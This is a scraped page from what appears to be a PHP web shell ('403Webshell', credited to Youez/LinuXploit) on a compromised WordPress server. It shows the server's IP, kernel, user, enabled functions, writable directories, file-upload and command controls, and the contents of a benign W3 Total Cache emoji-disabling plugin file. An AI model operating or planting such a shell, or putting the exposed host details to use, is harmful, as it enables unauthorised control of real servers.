403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/w3-total-cache//UserExperience_Emoji_Extension.php
<?php
namespace W3TC;

class UserExperience_Emoji_Extension {
	public function run() {
		remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
		remove_action( 'wp_print_styles', 'print_emoji_styles' );
		remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );

		remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
		remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );

		remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		remove_action( 'admin_print_styles', 'print_emoji_styles' );

		add_filter( 'tiny_mce_plugins', array( $this, 'tiny_mce_plugins' ) );
		add_filter( 'wp_resource_hints',
			array( $this, 'wp_resource_hints' ), 10, 2 );
	}



	public function tiny_mce_plugins( $plugins ) {
		if ( !is_array( $plugins ) ) {
			return array();
		}

		return array_filter( $plugins,
			function( $v ) {
				return $v != 'wpemoji';
			}
		);
	}



	public function wp_resource_hints( $urls, $relation_type ) {
		if ( !is_array( $urls ) || $relation_type != 'dns-prefetch' ) {
			return $urls;
		}

		// remove s.w.org dns-prefetch used by emojis
		return array_filter( $urls,
			function( $v ) {
				return ( substr( $v, 0, 16) != 'https://s.w.org/' );
			}
		);
	}
}



$o = new UserExperience_Emoji_Extension();
$o->run();

Youez - 2016 - github.com/yon3zu
LinuXploit